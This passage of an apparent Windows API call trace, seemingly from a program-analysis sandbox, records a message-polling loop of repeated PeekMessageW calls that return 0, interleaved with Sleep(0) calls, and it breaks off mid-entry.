PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.115] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.115] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.115] Sleep (dwMilliseconds=0x0) [0036.115] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.116] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.116] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.116] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.116] Sleep (dwMilliseconds=0x0) [0036.116] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.116] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.116] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.116] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.116] Sleep (dwMilliseconds=0x0) [0036.116] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.116] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.116] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.116] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.116] Sleep (dwMilliseconds=0x0) [0036.116] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.117] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.117] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.117] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.117] Sleep (dwMilliseconds=0x0) [0036.117] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.117] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.117] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.117] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.117] Sleep (dwMilliseconds=0x0) [0036.117] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.117] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.117] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.117] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.117] Sleep (dwMilliseconds=0x0) [0036.118] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.118] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.118] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.118] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.118] Sleep (dwMilliseconds=0x0) [0036.118] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.118] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.118] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.118] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.118] Sleep (dwMilliseconds=0x0) [0036.118] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.118] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.118] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.118] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.119] Sleep (dwMilliseconds=0x0) [0036.119] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.126] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.126] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.126] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.126] Sleep (dwMilliseconds=0x0) [0036.126] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.126] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.126] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.126] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.127] Sleep (dwMilliseconds=0x0) [0036.127] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.127] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.127] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.127] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.127] Sleep (dwMilliseconds=0x0) [0036.127] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.127] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.127] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.127] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.127] Sleep (dwMilliseconds=0x0) [0036.127] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.127] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.128] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.128] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.128] Sleep (dwMilliseconds=0x0) [0036.128] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.128] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.128] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.128] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.128] Sleep (dwMilliseconds=0x0) [0036.128] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.128] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.128] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.128] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.128] Sleep (dwMilliseconds=0x0) [0036.128] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.128] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.129] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.129] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.129] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.129] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.129] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.129] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.129] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.129] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.129] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.129] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.129] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.129] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.129] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.129] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.129] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.129] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.129] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.129] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.129] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.129] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.129] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.129] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.129] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.129] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.129] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.129] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.129] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.129] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.130] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.130] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.130] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.130] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.130] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.130] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.130] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.130] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.130] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.130] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.130] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.130] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.130] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.130] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.130] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.130] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.130] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.130] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.130] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.130] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.130] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.130] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.130] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.130] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.130] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.130] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.131] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.131] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.131] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.131] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.131] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.131] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.131] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.131] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.131] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.131] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, 